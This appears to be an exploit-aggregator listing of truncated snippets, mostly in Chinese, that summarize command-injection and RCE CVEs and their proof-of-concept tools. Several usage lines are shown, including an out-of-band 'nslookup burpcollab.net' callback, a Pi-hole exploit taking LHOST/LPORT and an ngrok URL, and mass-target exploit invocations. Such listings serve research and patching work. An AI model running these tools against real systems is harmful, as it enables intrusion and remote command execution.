CVE-2025-26056

CVE-2025-26056 作者: Rohan Deshpande OS命令注入 摘要 OS命令注入是一种安全漏洞，攻击者可以通过存在漏洞的应用程序在主机操作系统上执行任意命令。这可能导致未授权访问、数据泄露和系统受损。 影响 OS命令注入的影响包括对系统资源的未授权访问、数据窃取、系统受损，以及可能完全控制受影响的服务器，从而导致严重的安全漏洞和运营中断。 受影响URL http://:/generateMTRReport 建议...

Jmeter-CVE-2018-1297-

JMeter RMI 反序列化命令执行漏洞 CVE-2018-1297 Apache JMeter 是美国 Apache 软件基金会使用 Java 语言编写的一套开源软件，用于压力测试和性能测试。 2.x 和 3.x 版本存在反序列化漏洞，攻击者可利用该漏洞在目标服务器上执行任意命令。 搭建漏洞环境： root@kitploit: docker compose up -d 我使用了 Kali Linux 上的 docker。 执行完成后，RMI 服务启动并监听 1099 端口。 漏洞利用： 直接使用 ysoserial 进行漏洞利用。 root@kitploit: java -cp...

CVE-2025-32433

CVE-2025-32433 – Erlang/OTP SSH RCE 漏洞 📌 摘要 CVE-2025-32433 是一个影响 Erlang/OTP SSH 守护进程的远程代码执行（RCE） 漏洞。 根本原因是对 预认证 SSH通道请求的处理不当，攻击者可以利用这些请求在认证之前 执行任意命令。 附带的PoC演示了如何发送这种特制的SSH包；默认情况下，它会在目标上写入/lab.txt文件，但可以修改用于其他命令。 ⚠️ 免责声明： 此仓库仅用于教育和研究目的 。 未经明确许可，不得用于任何系统。 🛠️ 使用方法 1. 编辑PoC脚本中的目标详细信息： root@kitploit:...

CVE-2025-32433-Eploit

CVE-2025-32433-Eploit Erlang/OTP SSH 存在预认证远程代码执行漏洞 SSH Erlang RCE 利用程序 构造 SSH 载荷以在易受攻击的服务器上执行任意 Erlang 命令。 用法： root@kitploit: python3 exploit.py -t targets.txt -p 2222 -o results.log 免责声明： 本工具仅供教育目的及授权安全测试使用。请勿在未获明确许可的系统上使用。 联系方式 https://t.me/GOTOCVE...

CVE-2014-6271

CVE-2014-6271 利用 用法：CVE-2014-6271.py 目标 URI 的完整路径 命令...

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE 利用工具 这是一个针对CVE-2021-3129的Python漏洞利用脚本，该漏洞是当Laravel安装了Ignition包时存在的远程代码执行漏洞。攻击者可以通过PHAR反序列化执行任意系统命令。 功能 使用 phpggc 自动生成PHAR载荷 接受用户输入以执行任意命令（例如 id、whoami 等） 自动化整个利用过程，包括清除日志、注入载荷、将日志转换为PHAR以及触发反序列化 先决条件 Python 3.x requests 库 系统已安装PHP 已安装 phpggc（用于生成PHAR载荷） 安装 1...

CVE-2023-28354

CVE-2023-28354 漏洞描述 Opsview Monitor Agent 6.8 中存在一个漏洞，允许未经认证的远程攻击者执行任意命令。未经认证的攻击者可以通过在调用默认的 Opsview Agent Monitor 脚本时提供命令行转义序列来利用此漏洞（针对 Windows 系统），从而执行任意系统命令。 描述 Windows 上的 Opsview Agent 服务默认以 Local System 身份运行。此默认配置还包含多个 NRPE...

aws-suture

tl;dr root@kitploit: $ git clone [email protected]:pblittle/suture.git $ cd suture $ bundle install $ bundle exec ./bin/suture --help $ bundle exec ./bin/suture check Suture Suture es una herramienta para ejecutar comandos arbitrarios en tus instancias de AWS EC2. Puedes ejecutarlo contra un...

CVE-2020-5902

CVE-2020-5902 F5 BIG-IP 流量管理用户界面（TMUI）远程代码执行 在 BIG-IP 版本 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1 和 11.6.1-11.6.5.1 中，流量管理用户界面（TMUI，也称为配置工具）在未公开页面中存在远程代码执行（RCE）漏洞。 此漏洞允许未经身份验证的攻击者或经过身份验证的用户，通过 BIG-IP 管理端口和/或自 IP 对配置工具进行网络访问，从而执行任意系统命令、创建或删除文件、禁用服务以及/或执行任意 Java...

CVE-2025-3248

CVE-2025-3248 — Langflow AI 远程代码执行（未认证） 作者： 0xgh057r3c0n 描述 该漏洞利用程序针对 Langflow AI 中的一个严重未认证远程代码执行漏洞（CVE-2025-3248）。该漏洞允许攻击者通过 /api/v1/validate/code 端点在目标服务器上执行任意系统命令。 此概念验证（PoC）工具提供了一个交互式 shell，用于测试和演示该问题。 前提条件 Python 3.8 或更高版本 pip3 用于安装依赖项 安装 1. 克隆仓库 root@kitploit: git clone...

CVE-2020-8816

CVE 2020-8816 : Pi-hole（版本 = 4.3.2）受远程代码执行漏洞影响。经过 Web 门户认证的用户可以以运行该服务的本地用户的权限，在底层服务器上执行任意命令。 示例 : go run CVE-2020-8816.go -host $LHOST -p $LPORT -pass admin -u http://4c9a7a45fa37.ngrok.io/admin/ 或下载二进制文件 CVE-2020-8816 : ./CVE-2020-8816 -host $LHOST -p $LPORT -pass admin -u...

CVE-2026-82892

IBM Guardium Data Protection 12.2 could allow a remote attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2023-38646

CVE-2023-38646 PoC Descripción Este es un script de Prueba de Concepto PoC para explotar Metabase, una herramienta de inteligencia empresarial y análisis de datos de código abierto. Metabase permite a los usuarios visualizar e interactuar con sus datos, lo que la convierte en una potente platafor...

CVE-2026-84083 IBM Guardium Data Protection is affected by multiple vulnerabilities.

IBM Guardium Data Protection 12.2 is vulnerable to local privilege escalation via the SUID-root nmapwrapper binary on the Collector appliance. A local attacker with low-privileged access to the Collector can exploit insufficient argument validation in the SUID binary to execute arbitrary commands...

CVE-2026-84071 IBM Guardium Data Protection is affected by multiple vulnerabilities.

IBM Guardium Data Protection 12.2 is vulnerable to OS command injection in the Universal Connector plugin upload functionality. A privileged authenticated attacker can provide a malicious filename that is incorporated into a shell command executed by the application, potentially resulting in...

CVE-2026-82892

IBM Guardium Data Protection 12.2 is vulnerable to OS command injection caused by improper neutralization of special elements in an OS command, allowing a remote attacker to execute arbitrary commands. The flaw requires no prior authentication or user interaction but has a high attack complexity ...

EUVD-2026-83313

IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2026-62943 btrbk: SSH Command Filter Bypass in ssh_filter_btrbk.sh

btrbk is a tool for creating snapshots and remote backups of Btrfs subvolumes. From 0.29.0 until 0.32.7, btrbk's sshfilterbtrbk.sh constructs allowstreammatch with a start anchor but without an end-of-string anchor for the complete command. A user restricted through an authorizedkeys forced comma...

coldfusion-amf

coldfusion-amf Coldfusion AMF PWN root@kitploit: pwn http://localhost "nslookup burpcollab.net"...

CVE-2026-26830

CVE-2026-26830: Inyección de comandos del sistema operativo en pdf-image Resumen pdf-image a través de la versión 2.0.0 permite la inyección de comandos del sistema operativo mediante el argumento pdfFilePath. El paquete construye cadenas de comandos shell con util.format y las ejecuta con...